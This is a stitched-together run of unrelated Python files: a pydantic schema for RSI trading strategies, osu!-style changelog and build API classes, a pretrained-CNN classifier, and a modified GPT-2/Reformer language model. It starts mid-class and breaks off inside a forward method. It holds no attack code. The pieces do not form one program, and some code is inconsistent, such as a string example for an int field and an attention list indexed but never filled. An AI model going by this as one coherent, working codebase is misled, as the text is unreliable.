    keep_signal: int = Field(None, title="Keep Signal")
    params: BaseParams = Field(None, title="Indicators parameters")

class StrategyRequest(BaseModel):
    """Strategy request schema"""

    name: str = Field(None, title="Strategy Name")
    description: str = Field(None, title="Strategy Description")
    data: List[StrategyData] = Field(None, title="Strategy Data")

    class Config:
        """Config request schema"""

        schema_extra = {
            "example": {
                "name": "Classic RSI strategy",
                "description": "This is a classic RSI strategy",
                "data": [
                    {
                        "name": "Relative Strength Index (RSI)",
                        "signal_type": "BUY",
                        "chartperiod": "900",
                        "candle_pattern": 0,
                        "necessary": True,
                        "keep_signal": "0",
                        "params": {
                            "candle_value": {
                                "type_": "select",
                                "name": "OHLCV Value",
                                "options": ["open", "close", "high", "low", "volume"],
                                "default": "close",
                            },
                            "period": {
                                "type_": "number",
                                "step": 1,
                                "min_": 1,
                                "max_": 500,
                                "name": "RSI Period",
                                "default": 14,
                                "value": "14",
                            },
                            "signal_when": {
                                "type_": "value",
                                "signal_when": "<=",
                                "signal_when_value": 20,
                                "defaults": {
                                    "buy": {
                                        "signal_when": "<=",
                                        "signal_when_value": 20,
                                    },
                                    "sell": {
                                        "signal_when": ">=",
                                        "signal_when_value": 80,
                                    },
                                },
                            },
                        },
                    }
                ],
            }
        }


from dateutil import parser
from typing import Optional, List, TYPE_CHECKING

from ..util import prettify, get_optional, get_optional_list

if TYPE_CHECKING:
    from datetime import datetime

class Build:
    """
    **Attributes**

    created_at: :class:`datetime.datetime`

    display_version: :class:`str`

    id: :class:`int`

    update_stream: Optional[:class:`UpdateStream`]

    users: :class:`int`

    version Optional[:class:`str`]

    changelog_entries: Optional[List[:class:`ChangelogEntry`]]
        If the build has no changelog entries, a placeholder is generated.

    versions: Optional[:class:`Versions`]
    """

    __slots__ = (
        "created_at",
        "display_version",
        "id",
        "update_stream",
        "users",
        "version",
        "changelog_entries",
        "versions",
    )

    def __init__(self, data):
        self.created_at: datetime = parser.parse(data["created_at"])
        self.display_version: str = data["display_version"]
        self.id: int = data["id"]
        self.update_stream: Optional[UpdateStream] = get_optional(data, "update_stream", UpdateStream)
        self.users: int = data["users"]
        self.version: Optional[str] = data["version"]
        self.changelog_entries: Optional[List[ChangelogEntry]] = get_optional_list(
            data, "changelog_entries", ChangelogEntry
        )
        self.versions: Optional[Versions] = get_optional(data, "versions", Versions)

    def __repr__(self):
        return prettify(self, "id", "version")

class Versions:
    """
    **Optional Attributes**

    next: Optional[:class:`Build`]
        May be null if there is not a next build.

    previous: Optional[:class:`Build`]
        May be null if there is not a previous build.
    """

    __slots__ = ("next", "previous")

    def __init__(self, data):
        self.next: Optional[Build] = get_optional(data, "next", Build)
        self.previous: Optional[Build] = get_optional(data, "previous", Build)

    def __repr__(self):
        fields = [getattr(self, slot) for slot in self.__slots__ if getattr(self, slot, None)]
        return prettify(self, *fields)

class UpdateStream:
    """
    **Attributes**

    display_name: Optional[:class:`str`]

    id: :class:`int`

    is_featured: :class:`bool`

    name: :class:`str`

    latest_build: Optional[:class:`Build`]

    user_count: Optional[:class:`int`]
    """

    __slots__ = (
        "display_name",
        "id",
        "is_featured",
        "name",
        "latest_build",
        "user_count",
    )

    def __init__(self, data):
        self.display_name: Optional[str] = data["display_name"]
        self.id: int = data["id"]
        self.is_featured: bool = data["is_featured"]
        self.name: str = data["name"]
        self.latest_build: Optional[Build] = get_optional(data, "latest_build", Build)
        self.user_count: Optional[int] = data.get("user_count")

    def __repr__(self):
        return prettify(self, "name")

class ChangelogEntry:
    """
    **Attributes**

    category: :class:`str`

    created_at: Optional[:class:`datetime.datetime`]

    github_pull_request_id: Optional[:class:`int`]

    github_url: Optional[:class:`str`]

    id: Optional[:class:`int`]

    major: :class:`bool`

    repository: Optional[:class:`str`]

    title: Optional[:class:`str`]

    type: :class:`str`

    url: Optional[:class:`str`]

    github_user: Optional[:class:`GithubUser`]
        If the changelog entry has no GitHub user, a placeholder is generated.

    message: Optional[:class:`str`]
        Entry message in Markdown format. Embedded HTML is allowed.

    message_html: Optional[:class:`str`]
        Entry message in HTML format.
    """

    __slots__ = (
        "category",
        "created_at",
        "github_pull_request_id",
        "github_url",
        "id",
        "major",
        "repository",
        "title",
        "type",
        "url",
        "github_user",
        "message",
        "message_html",
    )

    def __init__(self, data):
        self.category: str = data["category"]
        self.created_at: Optional[datetime] = get_optional(data, "created_at", parser.parse)
        self.github_pull_request_id: Optional[int] = data["github_pull_request_id"]
        self.github_url: Optional[str] = data["github_url"]
        self.id: Optional[int] = data["id"]
        self.major: bool = data["major"]
        self.repository: Optional[str] = data["repository"]
        self.title: Optional[str] = data["title"]
        self.type: str = data["type"]
        self.url: Optional[str] = data["url"]

        self.github_user: Optional[GithubUser] = get_optional(data, "github_user", GithubUser)
        self.message: Optional[str] = data.get("message")
        self.message_html: Optional[str] = data.get("message_html")

    def __repr__(self):
        return prettify(self, "title", "major", "created_at")

class GithubUser:
    """
    **Attributes**

    display_name: :class:`str`

    github_url: Optional[:class:`str`]

    id: Optional[:class:`int`]

    osu_username: Optional[:class:`str`]

    user_id: Optional[:class:`int`]

    user_url: Optional[:class:`str`]
    """

    __slots__ = (
        "display_name",
        "github_url",
        "id",
        "osu_username",
        "user_id",
        "user_url",
    )

    def __init__(self, data):
        self.display_name: str = data["display_name"]
        self.github_url: Optional[str] = data["github_url"]
        self.id: Optional[int] = data["id"]
        self.osu_username: Optional[str] = data["osu_username"]
        self.user_id: Optional[int] = data["user_id"]
        self.user_url: Optional[str] = data["user_url"]

    def __repr__(self):
        return prettify(self, "display_name")


"""Module containing code for a CNN object detector."""
import torch
import torchvision.models as models
from torch.nn import Linear, Module, Sigmoid

class CNN(Module):
    """A CNN model."""

    def __init__(self, classes, model_name, threshold=0.5):
        """Initialise the CNN, freezing its parameters to avoid \
        additional training."""
        super().__init__()
        if model_name == 'resnet':
            self.model = models.resnet18(pretrained=True)
        elif model_name == 'alexnet':
            self.model = models.alexnet(pretrained=True)
        elif model_name == 'vgg':
            self.model = models.vgg16(pretrained=True)
        elif model_name == 'densenet':
            self.model = models.densenet161(pretrained=True)
        elif model_name == 'inception':
            self.model = models.inception_v3(pretrained=True)
        elif model_name == 'googlenet':
            self.model = models.googlenet(pretrained=True)
        elif model_name == 'resnext':
            self.model = models.resnext50_32x4d(pretrained=True)
        else:
            self.model = models.resnet18(pretrained=True)
        for param in self.model.parameters():
            param.requires_grad = False
        self.linear = Linear(1000, len(classes))
        self.activation = Sigmoid()
        self.threshold = threshold
        self.classes = classes

    def forward(self, images, captions, device):
        """Propagate data through the model."""
        input_batch = torch.stack(images)
        self.model.eval()
        results = self.model(input_batch)
        output = self.linear(results)
        preds = self.activation(output) > self.threshold
        return preds, output


import logging
import math
import os

import torch
import torch.nn as nn
from torch.nn import CrossEntropyLoss

from .configuration_reformer import ReformerConfig
from .file_utils import add_start_docstrings, add_start_docstrings_to_callable
from .modeling_utils import Conv1D, PreTrainedModel, SequenceSummary, prune_conv1d_layer

logger = logging.getLogger(__name__)

def gelu(x):
    return 0.5 * x * (1 + torch.tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * torch.pow(x, 3))))

class Attention(nn.Module):
    def __init__(self, nx, n_ctx, config, scale=False):
        super().__init__()
        self.output_attentions = config.output_attentions

        n_state = nx  # in Attention: n_state=768 (nx=n_embd)
        # [switch nx => n_state from Block to Attention to keep identical to TF implem]
        assert n_state % config.n_head == 0
        self.register_buffer("bias", torch.tril(torch.ones(n_ctx, n_ctx)).view(1, 1, n_ctx, n_ctx))
        self.n_head = config.n_head
        self.split_size = n_state
        self.scale = scale

        self.c_attn = Conv1D(n_state * 3, nx)
        self.c_proj = Conv1D(n_state, nx)
        self.attn_dropout = nn.Dropout(config.attn_pdrop)
        self.resid_dropout = nn.Dropout(config.resid_pdrop)
        self.pruned_heads = set()

    def prune_heads(self, heads):
        if len(heads) == 0:
            return
        mask = torch.ones(self.n_head, self.split_size // self.n_head)
        heads = set(heads) - self.pruned_heads  # Convert to set and emove already pruned heads
        for head in heads:
            # Compute how many pruned heads are before the head and move the index accordingly
            head = head - sum(1 if h < head else 0 for h in self.pruned_heads)
            mask[head] = 0
        mask = mask.view(-1).contiguous().eq(1)
        index = torch.arange(len(mask))[mask].long()
        index_attn = torch.cat([index, index + self.split_size, index + (2 * self.split_size)])

        # Prune conv1d layers
        self.c_attn = prune_conv1d_layer(self.c_attn, index_attn, dim=1)
        self.c_proj = prune_conv1d_layer(self.c_proj, index, dim=0)

        # Update hyper params
        self.split_size = (self.split_size // self.n_head) * (self.n_head - len(heads))
        self.n_head = self.n_head - len(heads)
        self.pruned_heads = self.pruned_heads.union(heads)

    def _attn(self, q, k, v, attention_mask=None, head_mask=None):
        w = torch.matmul(q, k)
        if self.scale:
            w = w / math.sqrt(v.size(-1))
        nd, ns = w.size(-2), w.size(-1)
        b = self.bias[:, :, ns - nd : ns, :ns]
        if attention_mask is not None:
            b = attention_mask
        #TODO check why we need 1e4 * (1-b)
        w = w * b - 1e4 * (1 - b)

        # if attention_mask is not None:
        #     # Apply the attention mask
        #     w = w + attention_mask

        w = nn.Softmax(dim=-1)(w)
        w = self.attn_dropout(w)

        # Mask heads if we want to
        if head_mask is not None:
            w = w * head_mask

        outputs = [torch.matmul(w, v)]
        if self.output_attentions:
            outputs.append(w)
        return outputs

    def merge_heads(self, x):
        x = x.permute(0, 2, 1, 3).contiguous()
        new_x_shape = x.size()[:-2] + (x.size(-2) * x.size(-1),)
        return x.view(*new_x_shape)  # in Tensorflow implem: fct merge_states

    def split_heads(self, x, k=False):
        new_x_shape = x.size()[:-1] + (self.n_head, x.size(-1) // self.n_head)
        x = x.view(*new_x_shape)  # in Tensorflow implem: fct split_states
        if k:
            return x.permute(0, 2, 3, 1)  # (batch, head, head_features, seq_length)
        else:
            return x.permute(0, 2, 1, 3)  # (batch, head, seq_length, head_features)

    def forward(self, x, layer_past=None, attention_mask=None, head_mask=None):
        x = self.c_attn(x)
        query, key, value = x.split(self.split_size, dim=2)
        query = self.split_heads(query)
        key = self.split_heads(key, k=True)
        value = self.split_heads(value)
        if layer_past is not None:
            past_key, past_value = layer_past[0].transpose(-2, -1), layer_past[1]  # transpose back cf below
            key = torch.cat((past_key, key), dim=-1)
            value = torch.cat((past_value, value), dim=-2)
        present = torch.stack((key.transpose(-2, -1), value))  # transpose to have same shapes for stacking

        attn_outputs = self._attn(query, key, value, attention_mask, head_mask)
        a = attn_outputs[0]

        a = self.merge_heads(a)
        a = self.c_proj(a)
        a = self.resid_dropout(a)

        outputs = [a, present] + attn_outputs[1:]
        return outputs  # a, present, (attentions)

class MLP(nn.Module):
    def __init__(self, n_state, config):  # in MLP: n_state=3072 (4 * n_embd)
        super().__init__()
        nx = config.n_embd
        self.c_fc = Conv1D(n_state, nx)
        self.c_proj = Conv1D(nx, n_state)
        self.act = gelu
        self.dropout = nn.Dropout(config.resid_pdrop)

    def forward(self, x):
        h = self.act(self.c_fc(x))
        h2 = self.c_proj(h)
        return self.dropout(h2)

class Block(nn.Module):
    def __init__(self, n_ctx, config, scale=False):
        super().__init__()
        nx = config.n_embd
        self.ln_1 = nn.LayerNorm(nx, eps=config.layer_norm_epsilon)
        self.attn = Attention(nx, n_ctx, config, scale)
        self.ln_2 = nn.LayerNorm(nx, eps=config.layer_norm_epsilon)
        self.mlp = MLP(4 * nx, config)

    def forward(self, x, layer_past=None, attention_mask=None, head_mask=None):
        output_attn = self.attn(
            self.ln_1(x), layer_past=layer_past, attention_mask=attention_mask, head_mask=head_mask
        )
        a = output_attn[0]  # output_attn: a, present, (attentions)

        x = x + a
        m = self.mlp(self.ln_2(x))
        x = x + m

        # outputs = [x] + output_attn[1:]
        # return outputs  # x, present, (attentions)
        return x

from reformer_pytorch.reversible import ReversibleSequence

class WithNorm(nn.Module):
    def __init__(self, norm_class, dim, fn):
        super().__init__()
        self.norm = norm_class(dim)
        self.fn = fn

    def forward(self, x, **kwargs):
        x = self.norm(x)
        return self.fn(x, **kwargs)

def cache_fn(f):
    cache = None
    def cached_fn(*args, **kwargs):
        nonlocal cache
        if cache is not None:
            return cache
        cache = f(*args, **kwargs)
        return cache
    return cached_fn

class Reformer(nn.Module):
    def __init__(self, config):
        super().__init__()
        self.dim = config.n_embd
        self.n_layer = config.n_layer
        self.config = config

        # get_attn = lambda: LSHSelfAttention(dim, heads, bucket_size, n_hashes, add_local_attn_hash = add_local_attn_hash, causal = causal, dropout = lsh_dropout, post_attn_dropout = post_attn_dropout, attn_chunks = attn_chunks, allow_duplicate_attention = lsh_allow_duplicate_attention, attend_across_buckets = lsh_attend_across_buckets, random_rotations_per_head = random_rotations_per_head, num_mem_kv = num_mem_kv, use_full_attn = use_full_attn, full_attn_thres = full_attn_thres, one_value_head = one_value_head)
        get_attn = lambda: Block(config.n_ctx, config, scale=True)
        # get_ff = lambda: FeedForward(config.n_dim, dropout = ff_dropout, activation = ff_activation, mult = ff_mult)
        get_ff = lambda: nn.Linear(config.n_embd, config.n_embd)

        if config.weight_tie:
            get_attn = cache_fn(get_attn)
            get_ff = cache_fn(get_ff)

        blocks = []
        norm_type = nn.LayerNorm

        for _ in range(self.n_layer):
            attn = get_attn()
            # parallel_net = get_attn() if twin_attention else get_ff()
            parallel_net = get_ff()

            f = WithNorm(norm_type, self.dim, attn)
            g = WithNorm(norm_type, self.dim, parallel_net)

            # if not twin_attention and ff_chunks > 1:
            #     g = Chunk(ff_chunks, g, along_dim = -2)

            blocks.append(nn.ModuleList([f, g]))

        self.layers = ReversibleSequence(nn.ModuleList(blocks), layer_dropout = 0.1, reverse_thres = 0)

    def forward(self, x, **kwargs):
        x = torch.cat([x, x], dim = -1)
        x = self.layers(x, arg_route = (True, False), **kwargs)
        return torch.stack(x.chunk(2, dim=-1)).sum(dim=0)

class ReformerPreTrainedModel(PreTrainedModel):
    """ An abstract class to handle weights initialization and
        a simple interface for downloading and loading pretrained models.
    """

    config_class = ReformerConfig
    base_model_prefix = "transformer"

    def __init__(self, *inputs, **kwargs):
        super().__init__(*inputs, **kwargs)

    def _init_weights(self, module):
        """ Initialize the weights.
        """
        if isinstance(module, (nn.Linear, nn.Embedding, Conv1D)):
            # Slightly different from the TF version which uses truncated_normal for initialization
            # cf https://github.com/pytorch/pytorch/pull/5617
            module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
            if isinstance(module, (nn.Linear, Conv1D)) and module.bias is not None:
                module.bias.data.zero_()
        elif isinstance(module, nn.LayerNorm):
            module.bias.data.zero_()
            module.weight.data.fill_(1.0)

REFORMER_START_DOCSTRING = r"""

    This model is a PyTorch `torch.nn.Module <https://pytorch.org/docs/stable/nn.html#torch.nn.Module>`_ sub-class.
    Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general
    usage and behavior.

    Parameters:
        config (:class:`~transformers.GPT2Config`): Model configuration class with all the parameters of the model.
            Initializing with a config file does not load the weights associated with the model, only the configuration.
            Check out the :meth:`~transformers.PreTrainedModel.from_pretrained` method to load the model weights.
"""

REFORMER_INPUTS_DOCSTRING = r"""
    Args:
        input_ids (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`):
            Indices of input sequence tokens in the vocabulary.

            Indices can be obtained using :class:`transformers.GPT2Tokenizer`.
            See :func:`transformers.PreTrainedTokenizer.encode` and
            :func:`transformers.PreTrainedTokenizer.encode_plus` for details.

            `What are input IDs? <../glossary.html#input-ids>`__
        past (:obj:`List[torch.FloatTensor]` of length :obj:`config.n_layers`):
            Contains pre-computed hidden-states (key and values in the attention blocks) as computed by the model
            (see `past` output below). Can be used to speed up sequential decoding. The token ids which have their past given to this model
            should not be passed as input ids as they have already been computed.
        attention_mask (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`, defaults to :obj:`None`):
            Mask to avoid performing attention on padding token indices.
            Mask values selected in ``[0, 1]``:
            ``1`` for tokens that are NOT MASKED, ``0`` for MASKED tokens.

            `What are attention masks? <../glossary.html#attention-mask>`__
        token_type_ids (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`, defaults to :obj:`None`):
            Segment token indices to indicate first and second portions of the inputs.
            Indices are selected in ``[0, 1]``: ``0`` corresponds to a `sentence A` token, ``1``
            corresponds to a `sentence B` token

            `What are token type IDs? <../glossary.html#token-type-ids>`_
        position_ids (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`, defaults to :obj:`None`):
            Indices of positions of each input sequence tokens in the position embeddings.
            Selected in the range ``[0, config.max_position_embeddings - 1]``.

            `What are position IDs? <../glossary.html#position-ids>`_
        head_mask (:obj:`torch.FloatTensor` of shape :obj:`(num_heads,)` or :obj:`(num_layers, num_heads)`, `optional`, defaults to :obj:`None`):
            Mask to nullify selected heads of the self-attention modules.
            Mask values selected in ``[0, 1]``:
            :obj:`1` indicates the head is **not masked**, :obj:`0` indicates the head is **masked**.
        input_embeds (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`, defaults to :obj:`None`):
            Optionally, instead of passing :obj:`input_ids` you can choose to directly pass an embedded representation.
            This is useful if you want more control over how to convert `input_ids` indices into associated vectors
            than the model's internal embedding lookup matrix.
"""

@add_start_docstrings(
    "The bare GPT2 Model transformer outputting raw hidden-states without any specific head on top.",
    REFORMER_START_DOCSTRING,
)
class ReformerModel(ReformerPreTrainedModel):
    def __init__(self, config):
        super().__init__(config)
        self.output_hidden_states = config.output_hidden_states
        self.output_attentions = config.output_attentions
        self.output_past = config.output_past

        self.wte = nn.Embedding(config.vocab_size, config.n_embd)
        self.wpe = nn.Embedding(config.n_positions, config.n_embd)
        self.drop = nn.Dropout(config.embd_pdrop)
        # self.h = nn.ModuleList([Block(config.n_ctx, config, scale=True) for _ in range(config.n_layer)])
        # self.h = Block(config.n_ctx, config, scale=True)
        self.h = Reformer(config)
        self.ln_f = nn.LayerNorm(config.n_embd, eps=config.layer_norm_epsilon)

        self.n_layer = config.n_layer
        self.init_weights()

    def get_input_embeddings(self):
        return self.wte

    def set_input_embeddings(self, new_embeddings):
        self.wte = new_embeddings

    def _prune_heads(self, heads_to_prune):
        """ Prunes heads of the model.
            heads_to_prune: dict of {layer_num: list of heads to prune in this layer}
        """
        for layer, heads in heads_to_prune.items():
            self.h[layer].attn.prune_heads(heads)

    @add_start_docstrings_to_callable(REFORMER_INPUTS_DOCSTRING)
    def forward(
        self,
        input_ids=None,
        past=None,
        attention_mask=None,
        token_type_ids=None,
        position_ids=None,
        head_mask=None,
        inputs_embeds=None,
        nodes=None
    ):
        r"""
    Return:
        :obj:`tuple(torch.FloatTensor)` comprising various elements depending on the configuration (:class:`~transformers.GPT2Config`) and inputs:
        last_hidden_state (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`):
            Sequence of hidden-states at the last layer of the model.
        past (:obj:`List[torch.FloatTensor]` of length :obj:`config.n_layers` with each tensor of shape :obj:`(2, batch_size, num_heads, sequence_length, embed_size_per_head)`):
            Contains pre-computed hidden-states (key and values in the attention blocks).
            Can be used (see `past` input) to speed up sequential decoding. The token ids which have their past given to this model
            should not be passed as input ids as they have already been computed.
        hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_hidden_states=True``):
            Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
            of shape :obj:`(batch_size, sequence_length, hidden_size)`.

            Hidden-states of the model at the output of each layer plus the initial embedding outputs.
        attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_attentions=True``):
            Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape
            :obj:`(batch_size, num_heads, sequence_length, sequence_length)`.

            Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
            heads.

    Examples::

        from transformers import GPT2Tokenizer, GPT2Model
        import torch

        tokenizer = GPT2Tokenizer.from_pretrained('gpt2')
        model = GPT2Model.from_pretrained('gpt2')
        input_ids = torch.tensor(tokenizer.encode("Hello, my dog is cute", add_special_tokens=True)).unsqueeze(0)  # Batch size 1
        outputs = model(input_ids)
        last_hidden_states = outputs[0]  # The last hidden-state is the first element of the output tuple

        """
        if input_ids is not None and inputs_embeds is not None:
            raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
        elif input_ids is not None:
            input_shape = input_ids.size()
            input_ids = input_ids.view(-1, input_shape[-1])
        elif inputs_embeds is not None:
            input_shape = inputs_embeds.size()[:-1]
        else:
            raise ValueError("You have to specify either input_ids or inputs_embeds")

        if token_type_ids is not None:
            token_type_ids = token_type_ids.view(-1, input_shape[-1])
        if position_ids is not None:
            position_ids = position_ids.view(-1, input_shape[-1])

        if past is None:
            past_length = 0
            # past = [None] * len(self.h)
            past = [None] * self.n_layer
        else:
            past_length = past[0][0].size(-2)
        if position_ids is None:
            device = input_ids.device if input_ids is not None else inputs_embeds.device
            position_ids = torch.arange(past_length, input_shape[-1] + past_length, dtype=torch.long, device=device)
            position_ids = position_ids.unsqueeze(0).view(-1, input_shape[-1])

        # Attention mask.
        # if attention_mask is not None:
        #     attention_mask = attention_mask.view(-1, input_shape[-1])
        #     # We create a 3D attention mask from a 2D tensor mask.
        #     # Sizes are [batch_size, 1, 1, to_seq_length]
        #     # So we can broadcast to [batch_size, num_heads, from_seq_length, to_seq_length]
        #     # this attention mask is more simple than the triangular masking of causal attention
        #     # used in OpenAI GPT, we just need to prepare the broadcast dimension here.
        #     attention_mask = attention_mask.unsqueeze(1).unsqueeze(2)

        #     # Since attention_mask is 1.0 for positions we want to attend and 0.0 for
        #     # masked positions, this operation will create a tensor which is 0.0 for
        #     # positions we want to attend and -10000.0 for masked positions.
        #     # Since we are adding it to the raw scores before the softmax, this is
        #     # effectively the same as removing these entirely.
        #     attention_mask = attention_mask.to(dtype=next(self.parameters()).dtype)  # fp16 compatibility
        #     attention_mask = (1.0 - attention_mask) * -10000.0

        # Prepare head mask if needed
        # 1.0 in head_mask indicate we keep the head
        # attention_probs has shape bsz x n_heads x N x N
        # head_mask has shape n_layer x batch x n_heads x N x N
        if head_mask is not None:
            if head_mask.dim() == 1:
                head_mask = head_mask.unsqueeze(0).unsqueeze(0).unsqueeze(-1).unsqueeze(-1)
                head_mask = head_mask.expand(self.config.n_layer, -1, -1, -1, -1)
            elif head_mask.dim() == 2:
                head_mask = (
                    head_mask.unsqueeze(1).unsqueeze(-1).unsqueeze(-1)
                )  # We can specify head_mask for each layer
            head_mask = head_mask.to(
                dtype=next(self.parameters()).dtype
            )  # switch to fload if need + fp16 compatibility
        else:
            head_mask = [None] * self.config.n_layer

        if inputs_embeds is None:
            inputs_embeds = self.wte(input_ids)

        position_embeds = self.wpe(position_ids)
        if token_type_ids is not None:
            token_type_embeds = self.wte(token_type_ids)
        else:
            token_type_embeds = 0
        hidden_states = inputs_embeds + position_embeds + token_type_embeds

        #### NEW PART
        _, o_seq_len, _ = hidden_states.size()
        if nodes is not None and len(nodes.size())==3:
            node_size = nodes.size()
            nodes_emb = self.wte(nodes.contiguous().view(nodes.size(0), -1)) # b * (m * s) * e
            nodes_emb = nodes_emb.view(node_size+(nodes_emb.size(-1),)) # b * m * s * e
            nodes_emb = torch.sum(nodes_emb, 2).squeeze(2) # b * m * e
            hidden_states = torch.cat((nodes_emb,hidden_states),1)

        hidden_states = self.drop(hidden_states)
        output_shape = input_shape + (hidden_states.size(-1),)
        presents = ()
        all_attentions = []
        all_hidden_states = ()
        # for i, (block, layer_past) in enumerate(zip(self.h, past)):
        #     if self.output_hidden_states:
        #         all_hidden_states = all_hidden_states + (hidden_states.view(*output_shape),)

        #     outputs = block(
        #         hidden_states, layer_past=layer_past, attention_mask=attention_mask, head_mask=head_mask[i]
        #     )

        #     hidden_states, present = outputs[:2]
        #     if self.output_past:
        #         presents = presents + (present,)

        #     if self.output_attentions:
        #         all_attentions.append(outputs[2])
        outputs = self.h(hidden_states, layer_past=None, attention_mask=attention_mask, head_mask=head_mask[0])
        # hidden_states, present = outputs[:2]
        hidden_states = outputs
        hidden_states = self.ln_f(hidden_states)

        # print("Before",hidden_states.size())

        if nodes is not None and len(nodes.size())==3:
            hidden_states = hidden_states[:,node_size[1]:,:]
        # print(output_shape)
        # print("After",hidden_states.size())
        # print()
        hidden_states = hidden_states.view(*output_shape)

        # Add last hidden state
        if self.output_hidden_states:
            all_hidden_states = all_hidden_states + (hidden_states,)

        outputs = (hidden_states,)
        if self.output_past:
            outputs = outputs + (presents,)
        if self.output_hidden_states:
            outputs = outputs + (all_hidden_states,)
        if self.output_attentions:
            # let the number of heads free (-1) so we can extract attention even after head pruning
            attention_output_shape = input_shape[:-1] + (-1,) + all_attentions[0].shape[-2:]
            all_attentions = tuple(t.view(*attention_output_shape) for t in all_attentions)
            outputs = outputs + (all_attentions,)
        return outputs  # last hidden state, (presents), (all hidden_states), (attentions)

@add_start_docstrings(
    """The GPT2 Model transformer with a language modeling head on top
    (linear layer with weights tied to the input embeddings). """,
    REFORMER_START_DOCSTRING,
)
class ReformerLMHeadModel(ReformerPreTrainedModel):
    def __init__(self, config):
        super().__init__(config)
        self.transformer = ReformerModel(config)
        self.lm_head = nn.Linear(config.n_embd, config.vocab_size, bias=False)

        self.init_weights()

    def get_output_embeddings(self):
        return self.lm_head

    def prepare_inputs_for_generation(self, input_ids, **kwargs):
        # only last token for inputs_ids if past is defined in kwargs
        if "past" in kwargs and kwargs["past"]:
            input_ids = input_ids[:, -1].unsqueeze(-1)

        inputs = {"input_ids": input_ids}
        inputs.update(kwargs)
        return inputs

    def load_pretrained_gpt2_weights(self, config, pretrained_gpt2_model):
        print("load pretrained gpt2 weights")
        gpt2_layers = pretrained_gpt2_model.transformer.h
        reformer = self.transformer.h

        # get_attn = lambda: LSHSelfAttention(dim, heads, bucket_size, n_hashes, add_local_attn_hash = add_local_attn_hash, causal = causal, dropout = lsh_dropout, post_attn_dropout = post_attn_dropout, attn_chunks = attn_chunks, allow_duplicate_attention = lsh_allow_duplicate_attention, attend_across_buckets = lsh_attend_across_buckets, random_rotations_per_head = random_rotations_per_head, num_mem_kv = num_mem_kv, use_full_attn = use_full_attn, full_attn_thres = full_attn_thres, one_value_head = one_value_head)
        get_attn = lambda: Block(config.n_ctx, config, scale=True)
        # get_ff = lambda: FeedForward(config.n_dim, dropout = ff_dropout, activation = ff_activation, mult = ff_mult)
        get_ff = lambda: nn.Linear(config.n_embd, config.n_embd)

        if config.weight_tie:
            get_attn = cache_fn(get_attn)
            get_ff = cache_fn(get_ff)

        blocks = []
        norm_type = nn.LayerNorm

        for i in range(len(gpt2_layers)):
            attn = get_attn()
            # parallel_net = get_attn() if twin_attention else get_ff()
            parallel_net = get_ff()

            # load the weight
            attn.load_state_dict(gpt2_layers[i].state_dict())

            f = WithNorm(norm_type, config.n_embd, attn)
            g = WithNorm(norm_type, config.n_embd, parallel_net)

            # if not twin_attention and ff_chunks > 1:
            #     g = Chunk(ff_chunks, g, along_dim = -2)

            blocks.append(nn.ModuleList([f, g]))

        self.transformer.h.layers = ReversibleSequence(nn.ModuleList(blocks), layer_dropout = 0.1, reverse_thres = 0)

    @add_start_docstrings_to_callable(REFORMER_INPUTS_DOCSTRING)
    def forward(
        self,
        input_ids=None,
        past=None,
        attention_mask=None,
        token_type_ids=None,
        position_ids=None,
        head_mask=None,
        inputs_embeds=None,
        labels=None,
        nodes=None
    ):
        r"""
        labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`, defaults to :obj:`None`):
            Labels for language modeling.
            Note that the labels **are shifted** inside the model, i.e. you can set ``lm_labels = input_ids``
            Indices are selected in ``[-100, 0, ..., config.vocab_size]``
            All labels set to ``-100`` are ignored (masked), the loss is only
            computed for labels in ``[0, ..., config.vocab_size]``

    Return:
        :obj:`tuple(torch.FloatTensor)` comprising various elements depending on the configuration (:class:`~transformers.GPT2Config`) and inputs:
        loss (:obj:`torch.FloatTensor` of shape `(1,)`, `optional`, returned when ``labels`` is provided)
            Language modeling loss.
        prediction_scores (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, config.vocab_size)`):
            Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
        past (:obj:`List[torch.FloatTensor]` of length :obj:`config.n_layers` with each tensor of shape :obj:`(2, batch_size, num_heads, sequence_length, embed_size_per_head)`):
            Contains pre-computed hidden-states (key and values in the attention blocks).
            Can be used (see `past` input) to speed up sequential decoding. The token ids which have their past given to this model
            should not be passed as input ids as they have already been computed.
        hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_hidden_states=True``):
            Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)
            of shape :obj:`(batch_size, sequence_length, hidden_size)`.

            Hidden-states of the model at the output of each layer plus the initial embedding outputs.
        attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``config.output_attentions=True``):
            Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape
            :obj:`(batch_size, num_heads, sequence_length, sequence_length)`.

            Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
            heads.

    Examples::

        import torch
        from transformers import GPT2Tokenizer, GPT2LMHeadModel

        tokenizer = GPT2Tokenizer.from_pretrained('gpt2')
        model = GPT2LMHeadModel.from_pretrained('gpt2')

        input_ids = torch.tensor(tokenizer.encode("Hello, my dog is cute", add_special_tokens=True)).unsqueeze(0)  # Batch size 1
        outputs = model(input_ids, labels=input_ids)
        loss, logits = outputs[:2]

        """
        transformer_outputs = self.transformer(
            input_ids,
            past=past,
            attention_mask=attention_mask,
            token_type_ids=token_type_ids,
            position_ids=position_ids,
            head_mask=head_mask,
            inputs_embeds=inputs_embeds,
            nodes=nodes
        )
        hidden_states = transformer_outputs[0]
